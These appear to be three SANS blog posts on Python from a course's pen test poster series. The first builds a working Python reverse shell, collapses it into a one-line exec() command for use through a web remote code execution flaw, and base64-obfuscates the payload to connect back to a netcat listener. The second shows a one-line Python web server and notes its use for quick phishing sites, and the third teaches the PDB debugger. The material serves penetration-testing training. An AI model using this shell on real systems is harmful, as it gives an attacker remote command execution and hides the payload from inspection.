Pen Test Poster: “White Board” – Python – Python Reverse Shell!

Board Elements_clean_Python Reverse Shell!

In SEC573: Automating Information Security with Python, we teach defenders to build tools that root out the signs of compromise in your sea of logs and network traffic.  We teach forensicators to build tools to find that crucial piece of evidence with no other tools exist.   We teach penetration testers how to build a few different types of backdoors that provide you with a stable foothold for you to begin your testing.  Let’s look at the practical application of one of the backdoors taught in that class.

During a penetration test I had come across a remote code execution vulnerability in a web application running on a Linux web server. After a few failed attempts to upload additional malware to the target I decided a netcat connection was desirable rather than the hoops I had to jump through to trigger the exploit.   I decided to use the systems built in Python interpreter to execute a Python script that would give me a more stable shell.  This shell will connect back to a netcat listener on my IP address on port 9000 ($nc -l -p 9000).  In the examples below I’ll transmit the shell to 127.0.0.1 to make it easy for you to test this on your own laptops.

First we start out with one of the simple python reverse tcp connect shell from SEC573.

import socket
import subprocess
s=socket.socket()
s.connect(("127.0.0.1",9000))
while True:
     proc = subprocess.Popen(s.recv(1024),  shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     s.send(proc.stdout.read() + proc.stderr.read())

 

This backdoor shell works just fine on my local system, but there is a significant problem.  If I want to use this with a remote command injection vulnerability I have to pass this entire script on one line as an argument to the Python interpreter.   The Python interpreter looks at the tabs and spaces in the code to find the “code blocks”.  The two lines that are indented beneath my while statement are not easily placed on one line unless you know a trick.  We can easily put all of the unintended lines on a single line by just putting semicolon between them.  Although Python doesn’t consider it good coding style you can put the entire while code block on a single line.  You must be very careful to have the same number of spaces after the colon and semicolon.  In this example there are two spaces after the colon and the semicolon in my while loop.  Now our program has been condensed into these two lines:

student@573:~/Documents/pythonclass$ python3

Python 3.5.2 (default, Jul  5 2016, 12:43:10)

[GCC 5.4.0 20160609] on linux

Type "help", "copyright", "credits" or "license" for more information.

>>> import socket;import subprocess ;s=socket.socket() ;s.connect(("127.0.0.1",9000))

>>> while 1:  p = subprocess.Popen(s.recv(1024),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);  s.send(p.stdout.read() + p.stderr.read())

 

If you keep the spacing straight and put those two lines into an interactive python session it works properly in either Python 2 or Python 3.   But, if you try to combine those two lines into a single line with another semicolon it will not work.  The Python interpreter generates a syntax error.  The good news is you can get around that with the “exec” method. Python’s exec method is similar to “eval()” in javascript and we can use it to interpret a script with “\n” (new lines) in it to separate the lines. Using this technique we get the following one line python shell that can be transmitted to the remote website for execution on any target that has a Python 2 or Python 3 interpreter.

student@573:~/$ python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect((‘127.0.0.1’,9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

 

Setup a netcat listener on your localhost listening on port 9000 and this works very nicely.  A technique to make sure your indentions and tabs are correct is to change all of those semicolons to '\n'.   Then, in a python interactive session, assign a variable such as 'shellcode' to contain your payload.  Then print(shellcode).  If the printed result looks just like the multi-line program we started out with then the exec() function should work properly.  With these techniques we can collapse all manner of scripts down to one line.  Knowing that, we might as well add a little code obfuscation to the mix.  Next we drop into interactive python and base64 encode our payload.

student@573:~/Documents/pythonclass$ python

Python 2.7.12 (default, Jul  1 2016, 15:12:24)

[GCC 5.4.0 20160609] on linux2

Type "help", "copyright", "credits" or "license" for more information.>>> import base64

>>> shellcode = "import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())"

>>> base64.b64encode(shellcode)

'aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJlY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJlYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkp'

 

To use our code we need to base64 decode it right before execute it.  Our one liner becomes this:

student@573:~/Documents/pythonclass$ python -c "import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEyNy4wLjAuMScsOTAwMCkpCndoaWxlIDE6ICBwcm9jID0gc3VicHJvY2Vzcy5Qb3BlbihzLnJlY3YoMTAyNCksIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsIHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7cy5zZW5kKHByb2Muc3Rkb3V0LnJlYWQoKStwcm9jLnN0ZGVyci5yZWFkKCkp'))"

 

This code sample is compatible with both Python 2 and Python 3.  For more tips like this check out SEC573 Automating Information Security with Python.

 

Mark Baggett

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – Python – Pythonic Web Server

Board Elements_clean_Pythonic Web Server

This is such a great little tip.  I use this quite frequently during my day to day operations to transfer files back and forth between systems or to colleagues.  This wonderful little command will start a web server and make the contents of the folder that the command is launched from available for download.  I think once you’ve committed it to memory you will find it useful in many situations.

Here it is:

 

python -m SimpleHTTPServer <port number>

 

Here is an example that starts a web server listening on port 9000.

 

student@573:~$ python -m SimpleHTTPServer 9000

Serving HTTP on 0.0.0.0 port 9000 ...

 

Once you’ve run that command any computer that can reach your host via its IP address can access port 9000 with a web browser.    In this example, the command 'python -m "SimpleHTTPServer" 9000' was run from my home directory so the user can see my .bash_history and all of the other files that are in my home folder.

 

Pythonic_WebServer01

 

This functionality is very useful for allowing other computers to download files from your computer.   But this little web server can also be used to quickly setup a phishing website.  The script will act as a normal web server if it finds a file called index.html file in the directory where it is launched.   Here is a quick example.  I’ll use the echo command to create a file called "index.html" in my home directory and restart the server.

 

student@573:~$ echo "<HTML><BODY>IT WORKED</BODY></HTML>" > index.html

student@573:~$ python -m SimpleHTTPServer 9000

Serving HTTP on 0.0.0.0 port 9000 ...

 

Now I’ll refresh my web browser to see the newly created page.

 

Pythonic_WebServer02

 

In fact, it did work perfectly!  This command will work on Linux and Windows systems that are running Python 2 as their default interpreter.   Today, according to Python PEP 394 all Linux systems should have Python 2 as their default interpreter.   But, Python 2 is being retired in the year 2020 and you should be looking ahead at how to perform these actions on Python 3.   Here is a version of the command that will work with Python 3.

 

student@573:~$ python3 -m http.server 9000

Serving HTTP on 0.0.0.0 port 9000 ...

 

You may be wondering, “what exactly does this little command do”?   The Python help tells us the "-m" option will “run a module as a script”.    That is true, but it may be easier for you to think of it as a shortcut that asks Python to find the specified module within its PYTHONPATH and launch it.   If you know the location of that module you could in fact run it as a script and get the same result.

 

student@573:~$ python /usr/lib/python2.7/SimpleHTTPServer.py 8000

Serving HTTP on 0.0.0.0 port 8000 ...

 

OR on Python 3 you could do this.

 

student@573:~$ python3 /usr/lib/python3.5/http/server.py 8080

Serving HTTP on 0.0.0.0 port 8080 ...

 

For more tips like this and details on the inner workings of Python modules check out SEC573: Automating Information Security with Python.

 

Mark Baggett

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – Python – Python Debugger

Board Elements_clean_Python Debugger

I realize that this may not apply to many of the super awesome reader of the SANS blogs, but when mere mortals develop tools the first few versions often have bugs in the code.  Python has a very nice debugger that is part of the standard installation called PDB.   PDB, aka The Python Debugger is a built in module that you can use to execute Python scripts one line at a time and inspect the state of the program as it runs.   Even our awesome readers who write error free code every time can benefit from using the Python debugger.   I’ll often use the debugger to look at other people’s code. Whether inspecting Python based malware or getting a better understanding of the techniques being used by Python based tools that other people have written, everyone can benefit from using PDB.

There are two ways that you will typically start the Python debugger.  One way is to edit the Python script and add the line “import pdb;pdb.set_trace()” in the script at the point you would like to debug the program.  Then start your program with the normal invocation.   When the new pdb line is reached during the programs execution, it will pause your program and launch the debugger.   Another way to start the debugger is to add the command line argument “-m pdb” when executing Python.   For example, executing “python -m pdb myscript.py” will start the Python Debugger and load myscript.py paused on the first line of the program.    When the debugger starts your prompt changes from the normal >>> interactive python prompt to (Pdb).

Python_Debugger_01

Here on line 1 (inside the blue box) we invoke the Python Debugger and tell it to start debugging a program called “debugme.py”.   The debugger starts and prints a “status line” on line 2 (inside the red box).  The status line tells us on which file, line and function the debugger stopped.  In this example you can see the full path to the script that the debugger is in.  You can also see it stopped on line 2 which appears in the parenthesis.  Then the name of the function that is currently executing is also displayed.  In this case we are not in a function yet so “<module>” is displayed.    The next line (in green) is the line of code that is about to execute.  In this case line 2 of the script contains “import random” and that is what will execute when the program starts.   On the next line is the (Pdb) prompt where we can enter PDB commands to interact with our code.   In the example above typing “L 5,10” listed lines 5 through 10 of the program.   I’ve included a table below of some of the most commonly used PDB command and what they do.   Here is one other example.   You could create a breakpoint which will cause the debugger to pause execution any time a specified line is reached by typing “Break” followed by the line number on which you want to pause.   For example, here we create a breakpoint on line 6.

Python_Debugger_02

Notice that when we list our program now a capital B is displayed on line 6 indicating that a breakpoint is present in our program.   Now when “c” (short for continue) is typed the program will execute until line 6 or the end of the program is reached.

PDB is a full featured debugger that will allow you to set break points, inspect variables and change them.   You can execute code one line at a time choosing to either “STEP INTO” function calls or “STEP OVER” them.   With full control of the execution of your code, it making the task of finding those pesky bugs or understanding the payload of that malware much easier.   The following chart contains just a few of the command you can enter at the (Pdb)prompt.

SYNTAX Example(s) Description
l(ist) [first [,last]] list 1,5 Lists lines 1 through 5 of the program
b(reak) ([file:]lineno | function) [, condition] break

break myscript.py:5

break 100 , x==5

Display all of the existing break points

Break on line 5 of myscript.py

Break on line 100 only stopping if variable x is equal to 5

c(ontinue) continue Execute the program until the end or a breakpoint is reached
s(tep) step Execute until the next line of code in the program, going into function calls as needed
n(ext) next Execute until the next line of code in the current code block is reached
cl(ear) [bpnumber

[bpnumber…]]

clear 5 Clear (delete) break point 5
!<Python statement> !x=5 Change the contents of the variable x to 5
p <expression> p x

p x==10

Print the contents of variable x

Prints True if x has the value of 10

h(elp) pdb command help

help break

Display a full list of pdb commands

Display help for the break command

 

For more details on PDB and to really understand how to use it check out SANS “SEC573: Automating Information Security with Python.” Python SEC573 teaches Defenders, Forensics and Penetration Testers essential skills for automating tasks that make you more effective in your job.  No matter which side of the security equation you are on this course can make you more effective.

Mark Baggett

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02